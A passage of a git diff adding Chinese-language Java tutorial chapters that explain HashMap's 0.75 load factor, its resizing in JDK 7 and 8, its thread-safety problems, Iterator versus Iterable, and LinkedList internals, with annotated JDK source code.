+理想情况下,我们使用随机的hashcode值,加载因子为0.75情况,尽管由于粒度调整会产生较大的方差,节点的分布频率仍然会服从参数为0.5的泊松分布。链表的长度为 8 发生的概率仅有 0.00000006。 + +虽然这段话的本意更多的是表示 jdk 8中为什么拉链长度超过8的时候进行了红黑树转换,但提到了 0.75 这个加载因子——但这并不是为什么加载因子是 0.75 的答案。 + +为了搞清楚到底为什么,我看到了这篇文章: + +>参考链接:https://segmentfault.com/a/1190000023308658 + +里面提到了一个概念:**二项分布**(二哥概率论没学好,只能简单说一说)。 + +在做一件事情的时候,其结果的概率只有2种情况,和抛硬币一样,不是正面就是反面。 + +为此,我们做了 N 次实验,那么在每次试验中只有两种可能的结果,并且每次实验是独立的,不同实验之间互不影响,每次实验成功的概率都是一样的。 + +以此理论为基础,我们来做这样的实验:我们往哈希表中扔数据,如果发生哈希冲突就为失败,否则为成功。 + +我们可以设想,实验的hash值是随机的,并且经过hash运算的键都会映射到hash表的地址空间上,那么这个结果也是随机的。所以,每次put的时候就相当于我们在扔一个16面(我们先假设默认长度为16)的骰子,扔骰子实验那肯定是相互独立的。碰撞发生即扔了n次有出现重复数字。 + +然后,我们的目的是啥呢? + +就是掷了k次骰子,没有一次是相同的概率,需要尽可能的大些,一般意义上我们肯定要大于0.5(这个数是个理想数,但是我是能接受的)。 + +于是,n次事件里面,碰撞为0的概率,由上面公式得: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-loadfactor-02.png) + +这个概率值需要大于0.5,我们认为这样的hashmap可以提供很低的碰撞率。所以: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-loadfactor-03png) + +这时候,我们对于该公式其实最想求的时候长度s的时候,n为多少次就应该进行扩容了?而负载因子则是$n/s$的值。所以推导如下: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-loadfactor-04.png) + +所以可以得到 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-loadfactor-05.png) + +其中 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-loadfactor-06.png) + +这就是一个求 `∞⋅0`函数极限问题,这里我们先令$s = m+1(m \to \infty)$则转化为 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-loadfactor-07.png) + +我们再令 $x = \frac{1}{m} (x \to 0)$ 则有, + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-loadfactor-08.png) + +所以, + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-loadfactor-09.png) + + +考虑到 HashMap的容量有一个要求:它必须是2的n 次幂(这个[之前的文章](https://mp.weixin.qq.com/s/aS2dg4Dj1Efwujmv-6YTBg)讲过了,点击链接回去可以再温故一下)。当加载因子选择了0.75就可以保证它与容量的乘积为整数。 + +``` +16*0.75=12 +32*0.75=24 +``` + +除了 0.75,0.5~1 之间还有 0.625(5/8)、0.875(7/8)可选,从中位数的角度,挑 0.75 比较完美。另外,维基百科上说,拉链法(解决哈希冲突的一种)的加载因子最好限制在 0.7-0.8以下,超过0.8,查表时的CPU缓存不命中(cache missing)会按照指数曲线上升。 + +综上,0.75 是个比较完美的选择。 + diff --git a/docs/collection/hashmap-resize.md b/docs/collection/hashmap-resize.md new file mode 100644 index 0000000000..55ecfc3f13 --- /dev/null +++ b/docs/collection/hashmap-resize.md @@ -0,0 +1,246 @@ + +**HashMap 发出的 Warning**:这是《Java 程序员进阶之路》专栏的第 56 篇。那天,小二垂头丧气地跑来给我诉苦,“老王,有个学弟小默问我‘ HashMap 的扩容机制’,我愣是支支吾吾讲了半天,没给他讲明白,讲到最后我内心都是崩溃的,差点哭出声!” + +我安慰了小二好一会,他激动的情绪才稳定下来。我给他说,HashMap 的扩容机制本来就很难理解,尤其是 JDK8 新增了红黑树之后。先基于 JDK7 讲,再把红黑树那块加上去就会容易理解很多。 + +小二这才恍然大悟,佩服地点了点头。 + +**HashMap 发出的呼声**:有 GitHub 账号的小伙伴记得去安排一波 star 呀,《Java 程序员进阶之路》开源教程目前在 GitHub 上有 244 个 star 了,准备冲 1000 了,求求各位了。 + +>GitHub 地址:https://github.com/itwanger/toBeBetterJavaer +>在线阅读地址:https://itwanger.gitee.io/tobebetterjavaer + +------- + +大家都知道,数组一旦初始化后大小就无法改变了,所以就有了 [ArrayList](https://mp.weixin.qq.com/s/7puyi1PSbkFEIAz5zbNKxA)这种“动态数组”,可以自动扩容。 + +HashMap 的底层用的也是数组。向 HashMap 里不停地添加元素,当数组无法装载更多元素时,就需要对数组进行扩容,以便装入更多的元素。 + +当然了,数组是无法自动扩容的,所以如果要扩容的话,就需要新建一个大的数组,然后把小数组的元素复制过去。 + +HashMap 的扩容是通过 resize 方法来实现的,JDK 8 中融入了红黑树,比较复杂,为了便于理解,就还使用 JDK 7 的源码,搞清楚了 JDK 7 的,我们后面再详细说明 JDK 8 和 JDK 7 之间的区别。 + +resize 方法的源码: + +```java +// newCapacity为新的容量 +void resize(int newCapacity) { + // 小数组,临时过度下 + Entry[] oldTable = table; + // 扩容前的容量 + int oldCapacity = oldTable.length; + // MAXIMUM_CAPACITY 为最大容量,2 的 30 次方 = 1<<30 + if (oldCapacity == MAXIMUM_CAPACITY) { + // 容量调整为 Integer 的最大值 0x7fffffff(十六进制)=2 的 31 次方-1 + threshold = Integer.MAX_VALUE; + return; + } + + // 初始化一个新的数组(大容量) + Entry[] newTable = new Entry[newCapacity]; + // 把小数组的元素转移到大数组中 + transfer(newTable, initHashSeedAsNeeded(newCapacity)); + // 引用新的大数组 + table = newTable; + // 重新计算阈值 + threshold = (int)Math.min(newCapacity * loadFactor, MAXIMUM_CAPACITY + 1); +} +``` + +代码注释里出现了左移(`<<`),这里简单介绍一下: + +``` +a=39 +b = a << 2 +``` + +十进制 39 用 8 位的二进制来表示,就是 00100111,左移两位后是 10011100(低位用 0 补上),再转成十进制数就是 156。 + +移位运算通常可以用来代替乘法运算和除法运算。例如,将 0010011(39)左移两位就是 10011100(156),刚好变成了原来的 4 倍。 + +实际上呢,二进制数左移后会变成原来的 2 倍、4 倍、8 倍。 + +transfer 方法用来转移,将小数组的元素拷贝到新的数组中。 + +```java +void transfer(Entry[] newTable, boolean rehash) { + // 新的容量 + int newCapacity = newTable.length; + // 遍历小数组 + for (Entry e : table) { + while(null != e) { + // 拉链法,相同 key 上的不同值 + Entry next = e.next; + // 是否需要重新计算 hash + if (rehash) { + e.hash = null == e.key ? 0 : hash(e.key); + } + // 根据大数组的容量,和键的 hash 计算元素在数组中的下标 + int i = indexFor(e.hash, newCapacity); + + // 同一位置上的新元素被放在链表的头部 + e.next = newTable[i]; + + // 放在新的数组上 + newTable[i] = e; + + // 链表上的下一个元素 + e = next; + } + } +} +``` + +`e.next = newTable[i]`,也就是使用了单链表的头插入方式,同一位置上新元素总会被放在链表的头部位置;这样先放在一个索引上的元素终会被放到链表的尾部(如果发生了hash冲突的话),这一点和 JDK 8 有区别。 + +**在旧数组中同一个链表上的元素,通过重新计算索引位置后,有可能被放到了新数组的不同位置上**(仔细看下面的内容,会解释清楚这一点)。 + +假设 hash 算法([之前的章节有讲到](https://mp.weixin.qq.com/s/aS2dg4Dj1Efwujmv-6YTBg),点击链接再温故一下)就是简单的用键的哈希值(一个 int 值)和数组大小取模(也就是 hashCode % table.length)。 + +继续假设: + +- 数组 table 的长度为 2 +- 键的哈希值为 3、7、5 + +取模运算后,哈希冲突都到 table[1] 上了,因为余数为 1。那么扩容前的样子如下图所示。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-resize-01.png) + +小数组的容量为 2, key 3、7、5 都在 table[1] 的链表上。 + +假设负载因子 loadFactor 为 1,也就是当元素的实际大小大于 table 的实际大小时进行扩容。 + +扩容后的大数组的容量为 4。 + +- key 3 取模(3%4)后是 3,放在 table[3] 上。 +- key 7 取模(7%4)后是 3,放在 table[3] 上的链表头部。 +- key 5 取模(5%4)后是 1,放在 table[1] 上。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-resize-02.png) + +按照我们的预期,扩容后的 7 仍然应该在 3 这条链表的后面,但实际上呢? 7 跑到 3 这条链表的头部了。针对 JDK 7 中的这个情况,JDK 8 做了哪些优化呢? + +看下面这张图。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-resize-03.png) + +n 为 table 的长度,默认值为 16。 + +- n-1 也就是二进制的 0000 1111(1X$2^0$+1X$2^1$+1X$2^2$+1X$2^3$=1+2+4+8=15); +- key1 哈希值的最后 8 位为 0000 0101 +- key2 哈希值的最后 8 位为 0001 0101(和 key1 不同) +- 做与运算后发生了哈希冲突,索引都在(0000 0101)上。 + +扩容后为 32。 + +- n-1 也就是二进制的 0001 1111(1X$2^0$+1X$2^1$+1X$2^2$+1X$2^3$+1X$2^4$=1+2+4+8+16=31),扩容前是 0000 1111。 +- key1 哈希值的低位为 0000 0101 +- key2 哈希值的低位为 0001 0101(和 key1 不同) +- key1 做与运算后,索引为 0000 0101。 +- key2 做与运算后,索引为 0001 0101。 + +新的索引就会发生这样的变化: + +- 原来的索引是 5(*0* 0101) +- 原来的容量是 16 +- 扩容后的容量是 32 +- 扩容后的索引是 21(*1* 0101),也就是 5+16,也就是原来的索引+原来的容量 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-resize-04.png) + + +也就是说,JDK 8 不需要像 JDK 7 那样重新计算 hash,只需要看原来的hash值新增的那个bit是1还是0就好了,是0的话就表示索引没变,是1的话,索引就变成了“原索引+原来的容量”。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-resize-05.png) + +JDK 8 的这个设计非常巧妙,既省去了重新计算hash的时间,同时,由于新增的1 bit是0还是1是随机的,因此扩容的过程,可以均匀地把之前的节点分散到新的位置上。 + + woc,只能说 HashMap 的作者 Doug Lea、Josh Bloch、Arthur van Hoff、Neal Gafter 真的强——的一笔。 + +JDK 8 扩容的源代码: + +```java +final Node[] resize() { + Node[] oldTab = table; + int oldCap = (oldTab == null) ? 0 : oldTab.length; + int oldThr = threshold; + int newCap, newThr = 0; + if (oldCap > 0) { + // 超过最大值就不再扩充了,就只好随你碰撞去吧 + if (oldCap >= MAXIMUM_CAPACITY) { + threshold = Integer.MAX_VALUE; + return oldTab; + } + // 没超过最大值,就扩充为原来的2倍 + else if ((newCap = oldCap << 1) < MAXIMUM_CAPACITY && + oldCap >= DEFAULT_INITIAL_CAPACITY) + newThr = oldThr << 1; // double threshold + } + else if (oldThr > 0) // initial capacity was placed in threshold + newCap = oldThr; + else { // zero initial threshold signifies using defaults + newCap = DEFAULT_INITIAL_CAPACITY; + newThr = (int)(DEFAULT_LOAD_FACTOR * DEFAULT_INITIAL_CAPACITY); + } + // 计算新的resize上限 + if (newThr == 0) { + float ft = (float)newCap * loadFactor; + newThr = (newCap < MAXIMUM_CAPACITY && ft < (float)MAXIMUM_CAPACITY ? + (int)ft : Integer.MAX_VALUE); + } + threshold = newThr; + @SuppressWarnings({"rawtypes","unchecked"}) + Node[] newTab = (Node[])new Node[newCap]; + table = newTab; + if (oldTab != null) { + // 小数组复制到大数组 + for (int j = 0; j < oldCap; ++j) { + Node e; + if ((e = oldTab[j]) != null) { + oldTab[j] = null; + if (e.next == null) + newTab[e.hash & (newCap - 1)] = e; + else if (e instanceof TreeNode) + ((TreeNode)e).split(this, newTab, j, oldCap); + else { // preserve order + // 链表优化重 hash 的代码块 + Node loHead = null, loTail = null; + Node hiHead = null, hiTail = null; + Node next; + do { + next = e.next; + if ((e.hash & oldCap) == 0) { + if (loTail == null) + loHead = e; + else + loTail.next = e; + loTail = e; + } + else { + if (hiTail == null) + hiHead = e; + else + hiTail.next = e; + hiTail = e; + } + } while ((e = next) != null); + // 原来的索引 + if (loTail != null) { + loTail.next = null; + newTab[j] = loHead; + } + // 索引+原来的容量 + if (hiTail != null) { + hiTail.next = null; + newTab[j + oldCap] = hiHead; + } + } + } + } + } + return newTab; +} +``` + +>参考链接:https://zhuanlan.zhihu.com/p/21673805 + diff --git a/docs/collection/hashmap-thread-nosafe.md b/docs/collection/hashmap-thread-nosafe.md new file mode 100644 index 0000000000..b2df9a19b2 --- /dev/null +++ b/docs/collection/hashmap-thread-nosafe.md @@ -0,0 +1,244 @@ + +三方面原因:多线程下扩容会死循环、多线程下 put 会导致元素丢失、put 和 get 并发时会导致 get 到 null,我们来一一分析。 + +### 01、多线程下扩容会死循环 + +众所周知,HashMap 是通过拉链法来解决哈希冲突的,也就是当哈希冲突时,会将相同哈希值的键值对通过链表的形式存放起来。 + +JDK 7 时,采用的是头部插入的方式来存放链表的,也就是下一个冲突的键值对会放在上一个键值对的前面(同一位置上的新元素被放在链表的头部)。扩容的时候就有可能导致出现环形链表,造成死循环。 + +resize 方法的源码: + +```java +// newCapacity为新的容量 +void resize(int newCapacity) { + // 小数组,临时过度下 + Entry[] oldTable = table; + // 扩容前的容量 + int oldCapacity = oldTable.length; + // MAXIMUM_CAPACITY 为最大容量,2 的 30 次方 = 1<<30 + if (oldCapacity == MAXIMUM_CAPACITY) { + // 容量调整为 Integer 的最大值 0x7fffffff(十六进制)=2 的 31 次方-1 + threshold = Integer.MAX_VALUE; + return; + } + + // 初始化一个新的数组(大容量) + Entry[] newTable = new Entry[newCapacity]; + // 把小数组的元素转移到大数组中 + transfer(newTable, initHashSeedAsNeeded(newCapacity)); + // 引用新的大数组 + table = newTable; + // 重新计算阈值 + threshold = (int)Math.min(newCapacity * loadFactor, MAXIMUM_CAPACITY + 1); +} +``` + +transfer 方法用来转移,将小数组的元素拷贝到新的数组中。 + +```java +void transfer(Entry[] newTable, boolean rehash) { + // 新的容量 + int newCapacity = newTable.length; + // 遍历小数组 + for (Entry e : table) { + while(null != e) { + // 拉链法,相同 key 上的不同值 + Entry next = e.next; + // 是否需要重新计算 hash + if (rehash) { + e.hash = null == e.key ? 0 : hash(e.key); + } + // 根据大数组的容量,和键的 hash 计算元素在数组中的下标 + int i = indexFor(e.hash, newCapacity); + + // 同一位置上的新元素被放在链表的头部 + e.next = newTable[i]; + + // 放在新的数组上 + newTable[i] = e; + + // 链表上的下一个元素 + e = next; + } + } +} +``` + +注意 `e.next = newTable[i]` 和 `newTable[i] = e` 这两行代码,就会将同一位置上的新元素被放在链表的头部。 + +扩容前的样子假如是下面这样子。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-thread-nosafe-01.png) + +那么正常扩容后就是下面这样子。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-thread-nosafe-02.png) + +假设现在有两个线程同时进行扩容,线程 A 在执行到 `newTable[i] = e;` 被挂起,此时线程 A 中:e=3、next=7、e.next=null + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-thread-nosafe-03.png) + + +线程 B 开始执行,并且完成了数据转移。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-thread-nosafe-04.png) + + +此时,7 的 next 为 3,3 的 next 为 null。 + +随后线程A获得CPU时间片继续执行 `newTable[i] = e`,将3放入新数组对应的位置,执行完此轮循环后线程A的情况如下: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-thread-nosafe-05.png) + +执行下一轮循环,此时 e=7,原本线程 A 中 7 的 next 为 5,但由于 table 是线程 A 和线程 B 共享的,而线程 B 顺利执行完后,7 的 next 变成了 3,那么此时线程 A 中,7 的 next 也为 3 了。 + +采用头部插入的方式,变成了下面这样子: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-thread-nosafe-06.png) + +好像也没什么问题,此时 next = 3,e = 3。 + +进行下一轮循环,但此时,由于线程 B 将 3 的 next 变为了 null,所以此轮循环应该是最后一轮了。 + +接下来当执行完 `e.next=newTable[i]` 即 3.next=7 后,3 和 7 之间就相互链接了,执行完 `newTable[i]=e` 后,3 被头插法重新插入到链表中,执行结果如下图所示: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-thread-nosafe-07.png) + +套娃开始,元素 5 也就成了弃婴,惨~~~ + +不过,JDK 8 时已经修复了这个问题,扩容时会保持链表原来的顺序,参照[HashMap 扩容机制](https://mp.weixin.qq.com/s/0KSpdBJMfXSVH63XadVdmw)的这一篇。 + +### 02、多线程下 put 会导致元素丢失 + +正常情况下,当发生哈希冲突时,HashMap 是这样的: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-thread-nosafe-08.png) + +但多线程同时执行 put 操作时,如果计算出来的索引位置是相同的,那会造成前一个 key 被后一个 key 覆盖,从而导致元素的丢失。 + +put 的源码: + +```java +final V putVal(int hash, K key, V value, boolean onlyIfAbsent, + boolean evict) { + Node[] tab; Node p; int n, i; + + // 步骤①:tab为空则创建 + if ((tab = table) == null || (n = tab.length) == 0) + n = (tab = resize()).length; + + // 步骤②:计算index,并对null做处理 + if ((p = tab[i = (n - 1) & hash]) == null) + tab[i] = newNode(hash, key, value, null); + else { + Node e; K k; + + // 步骤③:节点key存在,直接覆盖value + if (p.hash == hash && + ((k = p.key) == key || (key != null && key.equals(k)))) + e = p; + + // 步骤④:判断该链为红黑树 + else if (p instanceof TreeNode) + e = ((TreeNode)p).putTreeVal(this, tab, hash, key, value); + + // 步骤⑤:该链为链表 + else { + for (int binCount = 0; ; ++binCount) { + if ((e = p.next) == null) { + p.next = newNode(hash, key, value, null); + + //链表长度大于8转换为红黑树进行处理 + if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st + treeifyBin(tab, hash); + break; + } + + // key已经存在直接覆盖value + if (e.hash == hash && + ((k = e.key) == key || (key != null && key.equals(k)))) + break; + p = e; + } + } + + // 步骤⑥、直接覆盖 + if (e != null) { // existing mapping for key + V oldValue = e.value; + if (!onlyIfAbsent || oldValue == null) + e.value = value; + afterNodeAccess(e); + return oldValue; + } + } + ++modCount; + + // 步骤⑦:超过最大容量 就扩容 + if (++size > threshold) + resize(); + afterNodeInsertion(evict); + return null; +} +``` + +问题发生在步骤 ② 这里: + +```java +if ((p = tab[i = (n - 1) & hash]) == null) + tab[i] = newNode(hash, key, value, null); +``` + +两个线程都执行了 if 语句,假设线程 A 先执行了 ` tab[i] = newNode(hash, key, value, null)`,那 table 是这样的: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-thread-nosafe-09.png) + +接着,线程 B 执行了 ` tab[i] = newNode(hash, key, value, null)`,那 table 是这样的: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-thread-nosafe-10.png) + +3 被干掉了。 + +### 03、put 和 get 并发时会导致 get 到 null + +线程 A 执行put时,因为元素个数超出阈值而出现扩容,线程B 此时执行get,有可能导致这个问题。 + +注意来看 resize 源码: + +```java +final Node[] resize() { + Node[] oldTab = table; + int oldCap = (oldTab == null) ? 0 : oldTab.length; + int oldThr = threshold; + int newCap, newThr = 0; + if (oldCap > 0) { + // 超过最大值就不再扩充了,就只好随你碰撞去吧 + if (oldCap >= MAXIMUM_CAPACITY) { + threshold = Integer.MAX_VALUE; + return oldTab; + } + // 没超过最大值,就扩充为原来的2倍 + else if ((newCap = oldCap << 1) < MAXIMUM_CAPACITY && + oldCap >= DEFAULT_INITIAL_CAPACITY) + newThr = oldThr << 1; // double threshold + } + else if (oldThr > 0) // initial capacity was placed in threshold + newCap = oldThr; + else { // zero initial threshold signifies using defaults + newCap = DEFAULT_INITIAL_CAPACITY; + newThr = (int)(DEFAULT_LOAD_FACTOR * DEFAULT_INITIAL_CAPACITY); + } + // 计算新的resize上限 + if (newThr == 0) { + float ft = (float)newCap * loadFactor; + newThr = (newCap < MAXIMUM_CAPACITY && ft < (float)MAXIMUM_CAPACITY ? + (int)ft : Integer.MAX_VALUE); + } + threshold = newThr; + @SuppressWarnings({"rawtypes","unchecked"}) + Node[] newTab = (Node[])new Node[newCap]; + table = newTab; +} +``` + +线程 A 执行完 `table = newTab` 之后,线程 B 中的 table 此时也发生了变化,此时去 get 的时候当然会 get 到 null 了,因为元素还没有转移。 \ No newline at end of file diff --git a/docs/collection/iterator-iterable.md b/docs/collection/iterator-iterable.md new file mode 100644 index 0000000000..8a3c07ef1b --- /dev/null +++ b/docs/collection/iterator-iterable.md @@ -0,0 +1,240 @@ + + +那天,小二去海康威视面试,面试官老王一上来就甩给了他一道面试题:请问 Iterator与Iterable有什么区别?小二差点笑出声,因为一年前,也就是 2021 年,他在《Java 程序员进阶之路》专栏上的第 62 篇看到过这题😆。 + +*PS:星标这种事,只能求,不求没效果,come on。《Java 程序员进阶之路》在 GitHub 上已经收获了 408 枚星标,小伙伴们赶紧去点点了,冲 500!* + +>https://github.com/itwanger/toBeBetterJavaer + +----- + +在 Java 中,我们对 List 进行遍历的时候,主要有这么三种方式。 + +第一种:for 循环。 + +```java +for (int i = 0; i < list.size(); i++) { + System.out.print(list.get(i) + ","); +} +``` + +第二种:迭代器。 + +```java +Iterator it = list.iterator(); +while (it.hasNext()) { + System.out.print(it.next() + ","); +} +``` + +第三种:for-each。 + +```java +for (String str : list) { + System.out.print(str + ","); +} +``` + +第一种我们略过,第二种用的是 Iterator,第三种看起来是 for-each,其实背后也是 Iterator,看一下反编译后的代码就明白了。 + +```java +Iterator var3 = list.iterator(); + +while(var3.hasNext()) { + String str = (String)var3.next(); + System.out.print(str + ","); +} +``` + +for-each 只不过是个语法糖,让我们在遍历 List 的时候代码更简洁明了。 + +Iterator 是个接口,JDK 1.2 的时候就有了,用来改进 Enumeration: + +- 允许删除元素(增加了 remove 方法) +- 优化了方法名(Enumeration 中是 hasMoreElements 和 nextElement,不简洁) + +来看一下 Iterator 的源码: + +```java +public interface Iterator { + // 判断集合中是否存在下一个对象 + boolean hasNext(); + // 返回集合中的下一个对象,并将访问指针移动一位 + E next(); + // 删除集合中调用next()方法返回的对象 + default void remove() { + throw new UnsupportedOperationException("remove"); + } +} +``` + +JDK 1.8 时,Iterable 接口中新增了 forEach 方法: + +```java +default void forEach(Consumer action) { + Objects.requireNonNull(action); + for (T t : this) { + action.accept(t); + } +} +``` + +它对 Iterable 的每个元素执行给定操作,具体指定的操作需要自己写Consumer接口通过accept方法回调出来。 + +```java +List list = new ArrayList<>(Arrays.asList(1, 2, 3)); +list.forEach(integer -> System.out.println(integer)); +``` + +写得更浅显易懂点,就是: + +```java +List list = new ArrayList<>(Arrays.asList(1, 2, 3)); +list.forEach(new Consumer() { + @Override + public void accept(Integer integer) { + System.out.println(integer); + } +}); +``` + +如果我们仔细观察ArrayList 或者 LinkedList 的“户口本”就会发现,并没有直接找到 Iterator 的影子。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/iterator-iterable-01.png) + +反而找到了 Iterable! + +```java +public interface Iterable { + Iterator iterator(); +} +``` + +也就是说,List 的关系图谱中并没有直接使用 Iterator,而是使用 Iterable 做了过渡。 + +回头再来看一下第二种遍历 List 的方式。 + +```java +Iterator it = list.iterator(); +while (it.hasNext()) { +} +``` + +发现刚好呼应上了。拿 ArrayList 来说吧,它重写了 Iterable 接口的 iterator 方法: + +```java +public Iterator iterator() { + return new Itr(); +} +``` + +返回的对象 Itr 是个内部类,实现了 Iterator 接口,并且按照自己的方式重写了 hasNext、next、remove 等方法。 + +```java +private class Itr implements Iterator { + + public boolean hasNext() { + return cursor != size; + } + + @SuppressWarnings("unchecked") + public E next() { + Object[] elementData = ArrayList.this.elementData; + cursor = i + 1; + return (E) elementData[lastRet = i]; + } + + public void remove() { + try { + ArrayList.this.remove(lastRet); + cursor = lastRet; + lastRet = -1; + expectedModCount = modCount; + } catch (IndexOutOfBoundsException ex) { + throw new ConcurrentModificationException(); + } + } + +} +``` + +那可能有些小伙伴会问:为什么不直接将 Iterator 中的核心方法 hasNext、next 放到 Iterable 接口中呢?直接像下面这样使用不是更方便? + +```java +Iterable it = list.iterator(); +while (it.hasNext()) { +} +``` + +从英文单词的后缀语法上来看,(Iterable)able 表示这个 List 是支持迭代的,而 (Iterator)tor 表示这个 List 是如何迭代的。 + +支持迭代与具体怎么迭代显然不能混在一起,否则就乱的一笔。还是各司其职的好。 + +想一下,如果把 Iterator 和 Iterable 合并,for-each 这种遍历 List 的方式是不是就不好办了? + +原则上,只要一个 List 实现了 Iterable 接口,那么它就可以使用 for-each 这种方式来遍历,那具体该怎么遍历,还是要看它自己是怎么实现 Iterator 接口的。 + +Map 就没办法直接使用 for-each,因为 Map 没有实现 Iterable 接口,只有通过 `map.entrySet()`、`map.keySet()`、`map.values()` 这种返回一个 Collection 的方式才能 使用 for-each。 + +如果我们仔细研究 LinkedList 的源码就会发现,LinkedList 并没有直接重写 Iterable 接口的 iterator 方法,而是由它的父类 AbstractSequentialList 来完成。 + +```java +public Iterator iterator() { + return listIterator(); +} +``` + +LinkedList 重写了 listIterator 方法: + +```java +public ListIterator listIterator(int index) { + checkPositionIndex(index); + return new ListItr(index); +} +``` + +这里我们发现了一个新的迭代器 ListIterator,它继承了 Iterator 接口,在遍历List 时可以从任意下标开始遍历,而且支持双向遍历。 + +```java +public interface ListIterator extends Iterator { + boolean hasNext(); + E next(); + boolean hasPrevious(); + E previous(); +} +``` + +我们知道,集合(Collection)不仅有 List,还有 Map 和 Set,那 Iterator 不仅支持 List,还支持 Set,但 ListIterator 就只支持 List。 + +那可能有些小伙伴会问:为什么不直接让 List 实现 Iterator 接口,而是要用内部类来实现呢? + +这是因为有些 List 可能会有多种遍历方式,比如说 LinkedList,除了支持正序的遍历方式,还支持逆序的遍历方式——DescendingIterator: + +```java +private class DescendingIterator implements Iterator { + private final ListItr itr = new ListItr(size()); + public boolean hasNext() { + return itr.hasPrevious(); + } + public E next() { + return itr.previous(); + } + public void remove() { + itr.remove(); + } +} +``` + +可以看得到,DescendingIterator 刚好利用了 ListIterator 向前遍历的方式。可以通过以下的方式来使用: + +```java +Iterator it = list.descendingIterator(); +while (it.hasNext()) { +} +``` +----- + +好了,关于Iterator与Iterable我们就先聊这么多,总结两点: + +- 学会深入思考,一点点抽丝剥茧,多想想为什么这样实现,很多问题没有自己想象中的那么复杂。 +- 遇到疑惑不放弃,这是提升自己最好的机会,遇到某个疑难的点,解决的过程中会挖掘出很多相关的东西。 \ No newline at end of file diff --git a/docs/collection/linkedlist.md b/docs/collection/linkedlist.md new file mode 100644 index 0000000000..47524fbe5b --- /dev/null +++ b/docs/collection/linkedlist.md @@ -0,0 +1,377 @@ + + +### 一、LinkedList 的剖白 + +大家好,我是 LinkedList,和 ArrayList 是同门师兄弟,但我俩练的内功却完全不同。师兄练的是动态数组,我练的是链表。 + +问大家一个问题,知道我为什么要练链表这门内功吗? + +举个例子来讲吧,假如你们手头要管理一推票据,可能有一张,也可能有一亿张。 + +该怎么办呢? + +申请一个 10G 的大数组等着?那万一票据只有 100 张呢? + +申请一个默认大小的数组,随着数据量的增大扩容?要知道扩容是需要重新复制数组的,很耗时间。 + +关键是,数组还有一个弊端就是,假如现在有 500 万张票据,现在要从中间删除一个票据,就需要把 250 万张票据往前移动一格。 + +遇到这种情况的时候,我师兄几乎情绪崩溃,难受的要命。师父不忍心看到师兄这样痛苦,于是打我进入师门那一天,就强迫我练链表这门内功,一开始我很不理解,害怕师父偏心,不把师门最厉害的内功教我。 + +直到有一天,我亲眼目睹师兄差点因为移动数据而走火入魔,我才明白师父的良苦用心。从此以后,我苦练“链表”这门内功,取得了显著的进步,师父和师兄都夸我有天赋。 + +链表这门内功大致分为三个层次: + +- 第一层叫做“单向链表”,我只有一个后指针,指向下一个数据; +- 第二层叫做“双向链表”,我有两个指针,后指针指向下一个数据,前指针指向上一个数据。 +- 第三层叫做“二叉树”,把后指针去掉,换成左右指针。 + +但我现在的功力还达不到第三层,不过师父说我有这个潜力,练成神功是早晚的事。 + +### 二、LinkedList 的内功心法 + +好了,经过我这么样的一个剖白后,大家对我应该已经不陌生了。那么接下来,我给大家展示一下我的内功心法。 + +我的内功心法主要是一个私有的静态内部类,叫 Node,也就是节点。 + +```java +private static class Node { + E item; + Node next; + Node prev; + + Node(Node prev, E element, Node next) { + this.item = element; + this.next = next; + this.prev = prev; + } +} +``` + +它由三部分组成: + +- 节点上的元素 +- 下一个节点 +- 上一个节点 + +我画幅图给你们展示下吧。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/linkedlist-01.png) + +- 对于第一个节点来说,prev 为 null; +- 对于最后一个节点来说,next 为 null; +- 其余的节点呢,prev 指向前一个,next 指向后一个。 + +我的内功心法就这么简单,其实我早已经牢记在心了。但师父叮嘱我,每天早上醒来的时候,每天晚上睡觉的时候,一定要默默地背诵一遍。虽然我有些厌烦,但我对师父的教诲从来都是言听计从。 + +### 03、LinkedList 的招式 + +和师兄 ArrayList 一样,我的招式也无外乎“增删改查”这 4 种。在此之前,我们都必须得初始化。 + +```java +LinkedList list = new LinkedList(); +``` + +师兄在初始化的时候,默认大小为 10,也可以指定大小,依据要存储的元素数量来。我就不需要。 + +**1)招式一:增** + +可以调用 add 方法添加元素: + +```java +list.add("沉默王二"); +list.add("沉默王三"); +list.add("沉默王四"); +``` + +add 方法内部其实调用的是 linkLast 方法: + +```java +public boolean add(E e) { + linkLast(e); + return true; +} +``` + +linkLast,顾名思义,就是在链表的尾部链接: + +```java +void 